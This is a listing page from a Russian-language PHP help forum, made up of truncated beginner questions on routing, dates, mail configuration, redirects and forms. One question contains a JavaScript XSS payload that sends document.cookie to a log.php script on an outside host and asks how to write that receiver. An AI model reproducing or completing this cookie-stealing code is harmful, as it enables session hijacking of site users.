PHP
A general-purpose scripting language especially suited to web development
Explore Questions
There are no popular questions to show right now
-
0 votes2 answers
-
0 votes1 answer
-
0 votes1 answer
-
0 votes2 answers
-
0 votes0 answers
2,481 questions in this forum
-
Активные пункты меню
Предположим есть 2-х колоночный макет: контент и меню с навигацией следующего содержания: главная о компании история руководство [*]новости акции [*]контакты Если рассматривать паттерн MVC, то например при запросе /about/history/ допустим роутер должен выполнить класс About и метод historyAction, в прицнипе он должен вернуть только текстовку и поместить её в макет в блок контента, вроде всё хорошо, но как заставить при этом меню с навигацией на пунктах «о компании» и «история» установить css классы «selected»? Вообще подход «виджетов» мне ненравится... мне ближе, когда сначала генерируются ВСЕ данные, а потом они только отображается т.е. применить метод запуска кон…
0 votes3 answers -
Вывод форматированной даты кириллицей из ячейки с типом DATE
Здравствуйте! В БД дата в ячейке типа DATE устанавливается в виде yyyy-mm-dd. Мне нужно её вывести двумя способами: 1 - в обратном порядке dd-mm-yyyy; 2 - чтобы месяц прописывался кириллицей (5 апреля 2015). Есть какая-то функция, которая может обработать значение массива, в котором содержится дата или какой-нибудь рабочий способ?
0 votes5 answers -
Динамические страницы и проблема индексации Yandex
Здравствуйте! У меня есть динамическая страница, на которой есть разные товары и виды товаров. Использую ЧПУ но при этом столкнулся с тем, что в течении более двух месяцев, yandex не продвинулся в индексации этих страниц, хотя sitemap он принял с более чем 4000 страниц проиндексировал только 123, а google тем временем проиндексировал все, более 4000, страницы. В чем проблема помогите пожалуйста.
0 votes7 answers -
конфиг phpmaailera
помогите пожалуйста разобраться с настройками скрипта для отправки писем PHPmailer подключение скрипта проблем не вызывает. не понятны настройки конфига $__smtp = array( "host" => "smtp.yandex.ru", //smtp сервер "debug" => 2, //отображение информации дебаггера (0 - нет вообще) "auth" => true, //сервер требует авторизации "port" => 25, //порт (по-умолчанию - 25) "username" => "%username%",//имя пользователя на сервере "password" => "%password%",//пароль "addreply" => "your@email.com",//ваш е-mail "replyto" => "your@email.com" //e-mail ответа);у меня бесплатный хостин…
0 votes7 answers -
Помощь авто снятие дней
Здравствуйте форумчане, я недавно познакомился с mysql и хотел бы попросить у вас помощи, вот недавно куил сайт там привязка к mysql тоесть если я на сайте задаю логин и клиенту и кол-во дней, то почему-то потом дни не уменьшаются, мне нуэна помощь от знающих тоесть чтобы дни снимались и по истечении дней клиент отключался, если не сложно скажите куда это вписывать =)
0 votes4 answers -
Система платежа PayPal
Столкнулся вот с такой проблемой, ниже находится скрипт от PayPal который получает данные о платежи, он отлично работает за исключением случаев если у покупателя в анкете данные указаны на русском языке! Скрипт почему-то не воспринимает русский текст и взамен русского текста получает символы ZZZZ. И в результате не может пройти проверку… $req = 'cmd=_notify-validate'; foreach ($_POST as $key => $value) { $value = urlencode(stripslashes($value)); $req .= "&$key=$value"; } // post back to PayPal system to validate $header .= "POST /cgi-bin/webscr HTTP/1.0\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Co…
0 votes6 answers -
Подскажите на каком языке лутше написать РЕГИСТРАЦИЮ для сайта?
Знаю что есть уроки на PHT и MySQL, но слышал что есть и другой вариан, неважно сложнее или нет, главное быстродействие или защищёность. за любой ответ буду благодарен!!
0 votes3 answers -
Помогите пожалуйста настроить перенаправление в htaccess
Привет всем. Поменяли структуру сайта, склеили две основные категории товаров в одну, и все ссылки поменялись. А т.к. ссылки проиндексированы, посетители попадают на страницу с 404 ошибкой. Там конечно заглушка стоит, но от этого не очень-то легче. Задача стоит такая: старые ссылки вида domain.com/old-cat/subcat/subcat2/product-detail перекидывать на domain.com/new-cat/product-detail т.е. то, что запрашивалось в old-cat перекинуть в new-cat без сохранения подкатегорий (subcat) подкатегорий в старой ссылке может быть разное количество, может и не быть вовсе SEF-компонент работает так, что при неуказании подкатегорий в новой ссылке товар всё равно будет показан, так что их …
0 votes2 answers -
ipgeobase
ipgeobase база с городами. Что будет написано в гугле и яндексе интересно, когда их боты будут сайт индексировать? Какой же там город будет? И такой вопросик. Как можно и можно ли, если у меня на сайте 7 поддоменов - заставить их грузить основной сайт на поддомен? Я хочу сделать фильтрацию по адресу сайта и менять информацию всю в одной страничке - чтобы мне не нужно было все 10 сайтов копировать каждый в свою папку из-за одной строки текста.
0 votes6 answers -
Рисование фигур
Сделал пример с книги, должен по идее рисоваться круг и результат быть такой, как в книге: Рисуем круг: (0, 0, 100) Прошло некоторое время... Стираем круг: (О, О, 100) Рисуем круг: (101, 6, 100) Прошло некоторое время... Стираем круг: (101, 6, 100) Рисуем круг: (101, б, 200) Прошло некоторое время... Стираем круг: (101, б, 200) но почему то выводит такое: Рисуем круг: (, , 0) Прошло некоторое время... Стираем круг: (, , 0) Рисуем круг: (, , 0) Прошло некоторое время... Стираем круг: (, , 0) Рисуем круг: (, , 0) Прошло некоторое время... Стираем круг: (, , 0) и не по порядку выводит, а грузится экран и все выводится сразу. <?php ## Базовый класс — геометрическая…
0 votes0 answers -
Обратная связь, вывод ошибок
Есть форма обратной связи, нужно реализовать вывод ошибок на той же странице что и форма Код формы <form method="post" action="mail.php"> Ваше имя: <br><input type="text" name="name"><br> Ваш e-mail:<br><input type="text" name="email"><br> Ваш заказ:<br> <textarea cols="70" rows="10" name="mess"> </textarea> <input type="hidden" name="a" value="order"> <br> <input type="submit" value="Отправить"> </form> код mail.php <title>Обратная связь</title> </head> <body> <?php if (isset($_POST['name'])) {$name = $_POST['name'];} if (isset($_POST['email'])) {$email = …
0 votes0 answers -
Передать xml по ссылке, так что бы он записался в логи хостинга
Сталкнулся с такой хренью, стоит задача по html запросу сформировать и отправить ответ в формате XML, кодировка UTF-8 (Content-type: text/plain). Т.е. мне приходит POST запрос, я его обрабатываю, формирую xml и отсылаю по адресу сайта (адрес заранее известен типа: http://site.ru/id/ip/whrh/) Загвоздка стала в том, как отправить мне готовый xml по ссылке. Вот код моего готового xml, я знаю как например сохранить его, или отправить на печать. $dom = new domDocument("1.0", "utf-8"); $root = $dom->createElement("response"); $dom->appendChild($root); $result = $dom->createElement("result", 0); $discr = $dom->createElement("sum", OK!); $root->ap…
0 votes10 answers -
Редирект для мобильных устройств
Добрый день, подскажите пожалуйста. Какой нужен скрипт, который определяет, что человек пришел на наш сайт с мобильного устройства и отправляет его на отдельную созданную страницу с адаптивной версткой. И где прописать данный скрипт? Вернее где его вызвать на странице? Помогите пожалуйста. Вот например возможное решение (но, врят ли): <?php $iphone = strpos($_server['http_user_agent'],"iphone" ; $android = strpos($_server['http_user_agent'],"android" ; $palmpre = strpos($_server['http_user_agent'],"webos" ; $berry = strpos($_server['http_user_agent'],"blackberry" ; $ipod = strpos($_server['http_user_agent'],"ipod" ; if ($iphone || $android || $palmpre || $ipod |…
0 votes3 answers -
foreach ошибка
echo count($_FILES["file"]["size"]); foreach($_FILES["file"]["size"] as $key=>$size) { // echo $size; // $size = $_FILES["file"]["size"][$key]; // echo $size; // $filesize += $size; } Пишет, что в функции форич - неверный аргумент. Первый echo выводит 1 - то есть 2 элемента массива есть. Ну в чем проблема тогда? ((
0 votes4 answers -
Кнопка входа в режиме реального времени
Доброго времени суток! https://youtu.be/qGHnjEygYq8 Как сделать такою кнопку? Кто знает? Буду очень благодарен... Проверка на заполнение уже есть... Проверка у меня через PHP
0 votes4 answers -
Как можно узнать вчера и позавчера по дате YYYY-MM-DD HH:MM:SS ?
Например добавлен комментарий. Тип даты в базе данных DATETIME, то есть сохраняю дату в виде YYYY-MM-DD HH:MM:SS. Сегодня узнать можно if(date==тот что в базе)... А как узнать "ВЧЕРА" или "ПОЗАВЧЕРА". Можно конечно у дня отнять -1, то есть 28ое получится 27ое.. Но а если это 1? Будет 0... В общем тупик... Уверен есть у кого нибудь готовое решение :-)
0 votes2 answers -
Java.io, вопрос шарящим.
Привет! Есть функция: package ru.korshun.imgcrypto; import java.io.*; public class ImgCrypto { public static void main(String[] args) { ImgCrypto ic = new ImgCrypto(); try { byte[] enc = ic.load(); String e = ic.encode(enc); try (OutputStream out = new FileOutputStream("D:\\java\\ImgCrypto\\img\\image.jpg")) { out.write(ic.decode(e)); } } catch (IOException e) { } } public byte[] load() throws FileNotFoundException, IOException { InputStream in = new FileInputStream("D:\\java\\ImgCrypto\\img\\20130826_103942…
0 votes1 answer -
Помогите вернуть данные:)
Всем привет! В общем суть: У меня есть страничка с которой я отправляю данные методом POST в script.php, там эти данные присваиваю как $start= $_POST['start']; ('start' - название формы). 1 трабла: Нужно создать запрос в БД. Я написал как $query = "SELECT start FROM railway WHERE start=$start"; (где 'start' - название столбца в таблице 'railway'. Моя ошибка введя переменную $start как "Минск" (Unknown column 'Минск' in 'where clause'). Не понимаю суть\ Где ошибаюсь? 2 трабла: Мне нужно вернуть данные из этого скрипта обратно на страницу, с которой отправлялась форма. Помогите советами, литературой, примерами. Зараннее благодарен.
0 votes5 answers -
Использование класса в PHP
Привет форумчане. Возникла такая задача.. обойдя некоторые темы в интернете написал класс для управления (регистрации, входа, выхода) на php. За пределами класса я создаю объект $user = new user(); а потом идет код, например, для авторизации или для регистрации. Окей, это мы прошли. И вот вопрос. Можно ли как-то с другой страницы получить имя пользователя, который только что у нас вошел? Имя хранится в переменной класса, в моем случае. Просто нелогично ведь потом использовать снова $user = new user(); Чтобы получить имя, тем более что мы создаем новый объект, и там не будет нужного мне имени пользователя..
0 votes4 answers -
как получить куку? хелп
Есть поле сообщений, где добавляется такой скрипт (ниже). Создается картинка с урлом в котором сессионая кука есть. Подскажите плиз как этот log.php должен быть написан принимающий один параметр и забрасывающий результат того, что в урле в текстовый файл log.txt? <script> url=document.cookie; var oImg=document.createElement("img"); oImg.setAttribute('src','http://sait/log.php?cookie='+url); oImg.setAttribute('alt','na'); oImg.setAttribute('height','1px'); oImg.setAttribute('width','1px'); document.body.appendChild(oImg); </script>
0 votes7 answers -
Удаление новостей
Всем привет Помогите плз Не думайте что я лентяй ,для меня PHP одна радость) Так вот Я не могу написать скрипт Удаления новостей Вот что получилось: Файл delete.php <? session_start(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Удаление</title> </head> <body> <?php require_once('bd.php'); if ($_SESSION['Group'] == '1') { mysql_select_db('My'); $query = ("SELECT * FROM `news`"); $res = mysql_query($…
0 votes6 answers -
On-line голосовалка
Приветы Все смотрели фильм "Социальная сеть"? Помните facemash.com голосование за девушек. Дак вот надо сделать подобную штуку. Покопался в сети, нашел http://skripters.biz/raznoe_skripti/8272-facemash-alike-script.html Только вот проблема, ничего не понял( Кто может помочь с кодом?)
0 votes4 answers -
После каждого второго
Дело в том, что у меня на страницу выводиться по 5 материалов. Я хочу сделать, чтобы на каждой странице после второго материала был текст. Как это можно сделать?
0 votes2 answers -
ffmpeg
ОС Windows Из консоли ffmpeg работает. Из PHP такой код отрабатывает нормально: echo system("ffmpeg -version"); А вот такой, ничего не показывает: echo system("ffmpeg -i C:/www/ffmpeg/video.flv"); Хотя из консоли, информацию о видео отображает. В чем может быть проблема?
0 votes1 answer -
правильное составление имен переменных
Всем привет Тут вдруг задался вопросом, как лучше обзывать переменные Например, переменные описывающие модуль : Ключ модуля, данные модуля, иформация о модуле $key_module, $data_module, $info_module (так правильно с точки зрения английского языка) или же $module_key, $module_data, $module_data (а так вроде как ключевое слово module идет первым, а потом идут описывающие его параметры) Кто как бы назвал ?
0 votes7 answers